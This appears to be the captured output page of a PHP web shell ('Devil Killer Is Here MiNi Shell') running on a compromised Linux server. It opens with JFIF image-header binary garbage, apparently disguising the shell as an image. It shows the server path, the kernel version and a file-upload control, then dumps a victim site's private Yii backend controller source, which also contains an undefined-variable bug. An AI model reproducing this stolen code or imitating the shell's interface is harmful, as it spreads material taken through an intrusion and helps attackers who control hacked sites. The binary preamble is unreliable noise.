JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/PortalsController.php

<?php

namespace backend\controllers;

use Yii;
use common\models\Portals;
use backend\models\PortalsSearch;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\data\ActiveDataProvider;
use yii\filters\AccessControl;
use yii\caching\TagDependency;

/**
 * PortalsController implements the CRUD actions for Portals model.
 */
class PortalsController extends Controller
{
    use \backend\components\traits\ControllerFunctions;
    
    /**
     * @inheritdoc
     */
    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    ['allow' => true, 'actions' => ['index'], 'roles' => ['indexPortals']],
                    ['allow' => true, 'actions' => ['view'], 'roles' => ['viewPortals']],
                    ['allow' => true, 'actions' => ['create'], 'roles' => ['createPortals']],
                    ['allow' => true, 'actions' => ['update'], 'roles' => ['updatePortals']],
                    ['allow' => true, 'actions' => ['delete'], 'roles' => ['deletePortals']],
                    ['allow' => true, 'actions' => ['companies-categories'], 'roles' => ['indexPortalsCompaniesCategories']],
                    ['allow' => true, 'actions' => ['save-companies-category-tree'], 'roles' => ['modifyPortalsCompaniesCategories']],
                    ['allow' => true, 'actions' => ['products-categories'], 'roles' => ['indexPortalsProductsCategories']],
                    ['allow' => true, 'actions' => ['save-products-category-tree'], 'roles' => ['modifyPortalsProductsCategories']],
                    ['allow' => true, 'actions' => ['articles-categories'], 'roles' => ['indexPortalsArticlesCategories']],
                    ['allow' => true, 'actions' => ['save-articles-category-tree'], 'roles' => ['modifyPortalsArticlesCategories']],
                    ['allow' => true, 'actions' => ['advertisements-categories'], 'roles' => ['indexPortalsAdvertisementsCategories']],
                    ['allow' => true, 'actions' => ['save-advertisements-category-tree'], 'roles' => ['modifyPortalsAdvertisementsCategories']],
                    ['allow' => true, 'actions' => ['advertisements-categories-list', 'advertisement-category-set-params'], 'roles' => ['indexPortalsAdvertisementsCategoriesParams']],
                    ['allow' => true, 'actions' => ['trainings-categories'], 'roles' => ['indexPortalsTrainingsCategories']],
                    ['allow' => true, 'actions' => ['bookstore-categories'], 'roles' => ['indexPortalsBookstoreCategories']],
                    ['allow' => true, 'actions' => ['job-offers-categories'], 'roles' => ['indexPortalsJobOffersCategories']],
                    ['allow' => true, 'actions' => ['add-job-offers-category', 'delete-job-offers-category', 'set-promotion-job-offers-category'], 'roles' => ['modifyPortalsJobOffersCategories']],
                    ['allow' => true, 'actions' => ['tenders-cpv'], 'roles' => ['indexPortalsTendersCPV']],
                    ['allow' => true, 'actions' => ['ads-info'], 'roles' => ['indexPortalsAdsInfo']],
                    ['allow' => true, 'actions' => ['create-ad-info', 'update-ad-info', 'delete-ad-info'], 'roles' => ['modifyPortalsAdsInfo']],
                    ['allow' => true, 'actions' => ['recommended-sites'], 'roles' => ['indexPortalsRecommendedSites']],
                    ['allow' => true, 'actions' => ['create-recommended-site', 'update-recommended-site', 'delete-recommended-site'], 'roles' => ['modifyPortalsRecommendedSites']],
                    ['allow' => true, 'actions' => ['top-companies'], 'roles' => ['indexPortalsTopCompanies']],
                    ['allow' => true, 'actions' => ['create-as-top-company', 'update-as-top-company', 'delete-top-company'], 'roles' => ['modifyPortalsTopCompanies']],
                    ['allow' => true, 'actions' => ['top-products'], 'roles' => ['indexPortalsTopProducts']],
                    ['allow' => true, 'actions' => ['set-as-top-product', 'delete-top-product'], 'roles' => ['modifyPortalsTopProducts']],                    
                    ['allow' => true, 'actions' => ['top-search-products'], 'roles' => ['indexPortalsTopSearchProducts']],
                    ['allow' => true, 'actions' => ['set-as-top-search-product', 'delete-top-search-product'], 'roles' => ['modifyPortalsTopSearchProducts']],
                    ['allow' => true, 'actions' => ['top-search-companies'], 'roles' => ['indexPortalsTopSearchCompanies']],
                    ['allow' => true, 'actions' => ['set-as-top-search-company', 'delete-top-search-company'], 'roles' => ['modifyPortalsTopSearchCompanies']],                    
                    ['allow' => true, 'actions' => ['promoted-companies-in-categories'], 'roles' => ['indexPortalsCompaniesPromotedInCategories']],
                    ['allow' => true, 'actions' => ['promoted-companies-in-category'], 'roles' => ['indexPortalsCompaniesPromotedInCategories']],
                    ['allow' => true, 'actions' => ['set-as-promoted-company-in-category', 'delete-promoted-company-in-category'], 'roles' => ['modifyPortalsCompaniesPromotedInCategories']],                    
                    ['allow' => true, 'actions' => ['promoted-products-in-categories'], 'roles' => ['indexPortalsProductsPromotedInCategories']],
                    ['allow' => true, 'actions' => ['promoted-products-in-category'], 'roles' => ['indexPortalsProductsPromotedInCategories']],
                    ['allow' => true, 'actions' => ['set-as-promoted-product-in-category', 'delete-promoted-product-in-category'], 'roles' => ['modifyPortalsProductsPromotedInCategories']],                    
                    ['allow' => true, 'actions' => ['recommended-books'], 'roles' => ['indexPortalsRecommendedBooks']],
                    ['allow' => true, 'actions' => ['set-as-recommended-book', 'delete-recommended-book'], 'roles' => ['modifyPortalsRecommendedBooks']],
                    ['allow' => true, 'actions' => ['presentations'], 'roles' => ['indexPortalsPresentationsSettings']],
                    ['allow' => true, 'actions' => ['services-types'], 'roles' => ['indexPortalsServicesTypes']],
                    ['allow' => true, 'actions' => ['services'], 'roles' => ['indexPortalsServices']],
                    ['allow' => true, 'actions' => ['bookstore-commissions'], 'roles' => ['indexPortalsBookstoreCommissions']],
                    ['allow' => true, 'actions' => ['settings-data-sets'], 'roles' => ['indexPortalsDataSets']],
                    ['allow' => true, 'actions' => ['settings-menu'], 'roles' => ['indexPortalsMenus']],
                    ['allow' => true, 'actions' => ['settings-design'], 'roles' => ['indexPortalsDesign']],
                    ['allow' => true, 'actions' => ['settings-external-services'], 'roles' => ['indexPortalsExternalServices']],
                    ['allow' => true, 'actions' => ['articles-tags'], 'roles' => ['indexPortalsArticlesTags']],
                    ['allow' => true, 'actions' => ['set-articles-tags'], 'roles' => ['modifyPortalsArticlesTags']],
                    ['allow' => true, 'actions' => ['settings-homepage'], 'roles' => ['indexPortalsHomepages']],
                    ['allow' => true, 'actions' => ['settings-smtp'], 'roles' => ['indexPortalsSmtp']], 
                    ['allow' => true, 'actions' => ['settings-seo'], 'roles' => ['indexPortalsSeo']], 
                    ['allow' => true, 'actions' => ['companies-categories-list', 'assign-companies-to-category'], 'roles' => ['indexCompaniesAssignedToPortalsCategories']],
                    ['allow' => true, 'actions' => ['google-analytics-files'], 'roles' => ['indexPortalsGoogleAnalyticsFiles']]
                ]
            ]
        ];
    }
    
    /**
     * @inheritdoc
     */
    public function actions()
    {
        return [
            'save-articles-category-tree' => [
                'class' => '\backend\controllers\actions\SaveCategoryTreeAction',
                'modelClass' => '\common\models\ArticlesCategories',
                'redirectUrl' => ['portals/view', 'id' => intval(Yii::$app->request->post('idPortal'))],
                'cacheTags' => ['articles_categories_tree_portal_'.intval(Yii::$app->request->post('idPortal'))]
            ],
            'save-products-category-tree' => [
                'class' => '\backend\controllers\actions\SaveCategoryTreeAction',
                'modelClass' => '\common\models\ProductsCategories',
                'redirectUrl' => ['portals/view', 'id' => intval(Yii::$app->request->post('idPortal'))],
                'cacheTags' => ['products_categories_tree_portal_'.intval(Yii::$app->request->post('idPortal'))]
            ],
            'save-advertisements-category-tree' => [
                'class' => '\backend\controllers\actions\SaveCategoryTreeAction',
                'modelClass' => '\common\models\AdvertisementsCategories',
                'redirectUrl' => ['portals/view', 'id' => intval(Yii::$app->request->post('idPortal'))],
                'cacheTags' => ['advertisements_categories_tree_portal_'.intval(Yii::$app->request->post('idPortal'))]
            ],
            'save-companies-category-tree' => [
                'class' => '\backend\controllers\actions\SaveCategoryTreeAction',
                'modelClass' => '\common\models\CompaniesCategories',
                'redirectUrl' => ['portals/view', 'id' => intval(Yii::$app->request->post('idPortal'))],
                'cacheTags' => ['companies_categories_tree_portal_'.intval(Yii::$app->request->post('idPortal'))]
            ]
        ];
    }
    
    /**
     * Lists all Portals models.
     * @return mixed
     */
    public function actionIndex()
    {
        $queryParams = Yii::$app->request->queryParams;
        
        if(!Yii::$app->user->can('updatePortals')) {
            $queryParams['PortalsSearch']['status'] = \common\models\types\Status::ACTIVE;
        }
        
        $searchModel = new PortalsSearch();
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }

    /**
     * Displays a single Portals model.
     * @param integer $id
     * @return mixed
     */
    public function actionView($id)
    {
        return $this->render('view', [
            'model' => $this->findModel($id),
        ]);
    }
    
    public function actionSettingsHomepage($id)
    {
        $modelPortal = $this->findModel($id);
        $modelForm = new \backend\models\PortalSettingsHomepageForm();
        $modelForm->setPortal($modelPortal);
        
        $outputParams = [
            'modelPortal' => $modelPortal,
            'modelForm' => $modelForm
        ];
        
        if(Yii::$app->user->can('modifyPortalsHomepages') && Yii::$app->request->getIsPost()) { 
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('settings_homepage', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->conditionalRender('settings_homepage', $outputParams);
            }
            
            if ($modelForm->save()) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_'.$modelPortal->id_portal]);
                return $this->redirect(['settings-homepage', 'id' => $modelPortal->id_portal]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('settings_homepage', $outputParams);
    }
    
    public function actionSettingsDataSets($id)
    {
        $modelPortal = $this->findModel($id);
        $modelForm = new \backend\models\PortalSettingsDataSetsForm();
        $modelForm->setPortal($modelPortal);
        
        $outputParams = [
            'modelPortal' => $modelPortal,
            'modelForm' => $modelForm
        ];
        
        if(Yii::$app->user->can('modifyPortalsDataSets') && Yii::$app->request->getIsPost()) {
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('settings_data_sets', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->conditionalRender('settings_data_sets', $outputParams);
            }
            
            if ($modelForm->save()) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['sitemap_'.$modelPortal->id_portal]);
                return $this->redirect(['settings-data-sets', 'id' => $modelPortal->id_portal]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('settings_data_sets', $outputParams);
    }
    
    public function actionSettingsMenu($id)
    {
        $modelPortal = $this->findModel($id);
        $modelForm = new \backend\models\PortalSettingsMenuForm();
        $modelForm->setPortal($modelPortal);
        
        $outputParams = [
            'modelPortal' => $modelPortal,
            'modelForm' => $modelForm
        ];
        
        if(Yii::$app->user->can('modifyPortalsMenus') && Yii::$app->request->getIsPost()) {
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('settings_menu', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->conditionalRender('settings_menu', $outputParams);
            }
            
            if ($modelForm->save()) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['settings-menu', 'id' => $modelPortal->id_portal]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('settings_menu', $outputParams);
    }
    
    public function actionSettingsSmtp($id)
    {
        $modelPortal = $this->findModel($id);
        $modelForm = new \backend\models\PortalSettingsSmtpForm();
        $modelForm->setPortal($modelPortal);
        
        $outputParams = [
            'modelPortal' => $modelPortal,
            'modelForm' => $modelForm
        ];
        
        if(Yii::$app->user->can('modifyPortalsSmtp') && Yii::$app->request->getIsPost()) {
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('settings_smtp', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->conditionalRender('settings_smtp', $outputParams);
            }
            
            if ($modelForm->save()) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['settings-smtp', 'id' => $modelPortal->id_portal]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('settings_smtp', $outputParams);
    }
    
    public function actionSettingsSeo($id)
    {
        $modelPortal = $this->findModel($id);
        $modelForm = new \backend\models\PortalSettingsSeoForm();
        $modelForm->setPortal($modelPortal);
        
        $outputParams = [
            'modelPortal' => $modelPortal,
            'modelForm' => $modelForm
        ];
        
        if(Yii::$app->user->can('modifyPortalsSeo') && Yii::$app->request->isAjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validateMultiple($modelForm->getModelsMetadata());
        }
        
        if(Yii::$app->user->can('modifyPortalsSeo') && Yii::$app->request->getIsPost()) {
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('settings_seo', $outputParams);
            }
            
            $validationResults = $modelForm->validate();
            if($validationResults !== true) {
                Yii::$app->session->addFlash('error', $validationResults);
                return $this->conditionalRender('settings_seo', $outputParams);
            }
            
            if ($modelForm->save()) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['settings-seo', 'id' => $modelPortal->id_portal]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('settings_seo', $outputParams);
    }
    
    public function actionSettingsDesign($id)
    {
        $modelPortal = $this->findModel($id);
        $modelForm = new \backend\models\PortalSettingsDesignForm();
        $modelForm->setPortal($modelPortal);
        
        $outputParams = [
            'modelPortal' => $modelPortal,
            'modelForm' => $modelForm
        ];
        
        if(Yii::$app->user->can('modifyPortalsDesign') && Yii::$app->request->getIsPost()) {
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('settings_design', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->conditionalRender('settings_design', $outputParams);
            }
            
            if ($modelForm->save()) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['settings-design', 'id' => $modelPortal->id_portal]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('settings_design', $outputParams);
    }
    
    public function actionSettingsExternalServices($id)
    {
        $modelPortal = $this->findModel($id);
        $modelForm = new \backend\models\PortalSettingsExternalServicesForm();
        $modelForm->setPortal($modelPortal);
        
        $outputParams = [
            'modelPortal' => $modelPortal,
            'modelForm' => $modelForm
        ];
        
        if(Yii::$app->user->can('modifyPortalsExternalServices') && Yii::$app->request->getIsPost()) {
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('settings_external_services', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->conditionalRender('settings_external_services', $outputParams);
            }
            
            if ($modelForm->save()) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['settings-external-services', 'id' => $modelPortal->id_portal]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('settings_external_services', $outputParams);
    }

    public function actionRecommendedSites($id)
    {
        $modelPortal = $this->findModel($id);
        
        $dataProvider = new ActiveDataProvider([
            'query' => $modelPortal->getRecommendedSites()->orderBy('site_order'),
            'pagination' => false,
            'sort' => false
        ]);        
        
        return $this->render('recommended_sites', [
            'modelPortal' => $modelPortal,
            'dataProvider' => $dataProvider
        ]);
    }
    
    /**
     * Creates a new \common\models\RecommendedSites model.
     * If creation is successful, the browser will be redirected to the 'recommended-sites' page.
     * @return mixed
     */
    public function actionCreateRecommendedSite()
    {
        $modelPortal = $this->findModel(Yii::$app->request->get('id_portal', null));
        
        $model = new \common\models\RecommendedSites(['scenario' => 'create']);       
        $model->id_portal = $modelPortal->id_portal;
        
        $outputParams = [
            'model' => $model,
            'modelPortal' => $modelPortal
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('recommended_site', $outputParams);
            }
            
            $model->id_portal = $modelPortal->id_portal;
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('recommended_site', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $modelsRecommendedSites = \common\models\RecommendedSites::find()->where(['>=', 'site_order', $model->site_order])->andWhere(['id_portal' => $model->id_portal])->all();
            if(!empty($modelsRecommendedSites)) {                
                array_walk($modelsRecommendedSites, function($modelRecommendedSite, $key) use (&$flag) {
                    $modelRecommendedSite->site_order += 1;
                    if(!$flag || !$modelRecommendedSite->save(false)) {
                        $flag = false;
                    }
                });
            }
            
            if ($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_recommended_sites_portal_'.$model->id_portal, 'box_recommended_sites_portal_'.$model->id_portal]);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['recommended-sites', 'id' => $model->id_portal]);
                } 
                else {
                    $outputParams['model'] = new \common\models\RecommendedSites(['scenario' => 'create']);
                    $outputParams['model']->id_portal = $modelPortal->id_portal;
                }
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('recommended_site', $outputParams);
    }
    
    /**
     * Updates an existing \common\models\RecommendedSites model.
     * If update is successful, the browser will be redirected to the 'recommended-sites' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdateRecommendedSite($id)
    {
        $model = \common\models\RecommendedSites::findOne($id);        
        if($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $outputParams = [
            'model' => $model,
            'modelPortal' => $model->portal
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            $oldOrder = intval($model->getOldAttribute('site_order'));
            
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('recommended_site', $outputParams);
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('recommended_site', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $newOrder = intval($model->site_order);
            
            if($newOrder !== $oldOrder) {
                if($newOrder > $oldOrder) {
                    $modelsRecommendedSites = \common\models\RecommendedSites::find()
                        ->where(['<=', 'site_order', $newOrder])
                        ->andWhere(['>', 'site_order', $oldOrder])
                        ->andWhere(['id_portal' => $model->id_portal])
                        ->andWhere(['!=', 'id_site', $model->id_site])
                        ->all();
                    if(!empty($modelsRecommendedSites)) {                
                        array_walk($modelsRecommendedSites, function($modelRecommendedSite, $key) use (&$flag) {
                            $modelRecommendedSite->site_order -= 1;
                            if(!$flag || !$modelRecommendedSite->save(false)) {
                                $flag = false;
                            }
                        });
                    }
                } else {
                    $modelsRecommendedSites = \common\models\RecommendedSites::find()
                        ->where(['<', 'site_order', $oldOrder])
                        ->andWhere(['>=', 'site_order', $newOrder])
                        ->andWhere(['id_portal' => $model->id_portal])
                        ->andWhere(['!=', 'id_site', $model->id_site])
                        ->all();
                    if(!empty($modelsRecommendedSites)) {                
                        array_walk($modelsAdvertisementPhotos, function($modelRecommendedSite, $key) use (&$flag) {
                            $modelRecommendedSite->site_order += 1;
                            if(!$flag || !$modelRecommendedSite->save(false)) {
                                $flag = false;
                            }
                        });
                    }
                }
            }
            
            if ($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_recommended_sites_portal_'.$model->id_portal, 'box_recommended_sites_portal_'.$model->id_portal]);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['recommended-sites', 'id' => $model->id_portal]);
                }
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('recommended_site', $outputParams);
    }
    
    /**
     * Deletes an existing \common\models\RecommendedSites model.
     * If deletion is successful, the browser will be redirected to the 'recommended-sites' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeleteRecommendedSite($id)
    {
        $model = \common\models\RecommendedSites::findOne($id);        
        if($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = true;
        
        $modelsRecommendedSites = \common\models\RecommendedSites::find()
            ->andWhere(['>', 'site_order', $model->site_order])
            ->andWhere(['id_portal' => $model->id_portal])
            ->andWhere(['!=', 'id_site', $model->id_site])
            ->all();
        if(!empty($modelsRecommendedSites)) {                
            array_walk($modelsRecommendedSites, function($modelRecommendedSite, $key) use (&$flag) {
                $modelRecommendedSite->site_order -= 1;
                if(!$flag || !$modelRecommendedSite->save(false)) {
                    $flag = false;
                }
            });
        }
                
        if($flag && $model->delete() !== false) {
            $transaction->commit();
            TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_recommended_sites_portal_'.$model->id_portal, 'box_recommended_sites_portal_'.$model->id_portal]);
        } else {
            $transaction->rollBack();
        }        
        
        return Yii::$app->getResponse()->redirect(['portals/recommended-sites', 'id' => $model->id_portal], 302, false);
    } 
    
    public function actionAdsInfo($id)
    {
        $modelPortal = $this->findModel($id);
        
        $dataProvider = new ActiveDataProvider([
            'query' => $modelPortal->getAdsInfo()->orderBy('info_order'),
            'pagination' => false,
            'sort' => false
        ]);        
        
        return $this->render('ads_info', [
            'modelPortal' => $modelPortal,
            'dataProvider' => $dataProvider
        ]);
    }
    
    public function actionArticlesTags($id)
    {
        $modelPortal = $this->findModel($id);        
        
        $tagsSelectedTemp = \common\models\ArticlesTagsSelected::find()
                ->select(['articles_tags.name', 'articles_tags_selected.id_category'])
                ->join('INNER JOIN', 'articles_tags', 'articles_tags.id_tag = articles_tags_selected.id_tag')
                ->where(['id_portal' => $modelPortal->id_portal])
                ->orderBy('articles_tags.name')
                ->asArray()
                ->all();
        
        $tagsSelected = [];
        if(!empty($tagsSelectedTemp)) {
            foreach($tagsSelectedTemp as $tag) {
                $tagsSelected[intval($tag['id_category'])][] = $tag['name'];
            }
            unset($tagsSelectedTemp);
        }
        
        $categories = \common\models\ArticlesCategories::getCategoryTree($modelPortal->id_portal);
        
        return $this->render('articles_tags', [
            'modelPortal' => $modelPortal,
            'tagsSelected' => $tagsSelected,
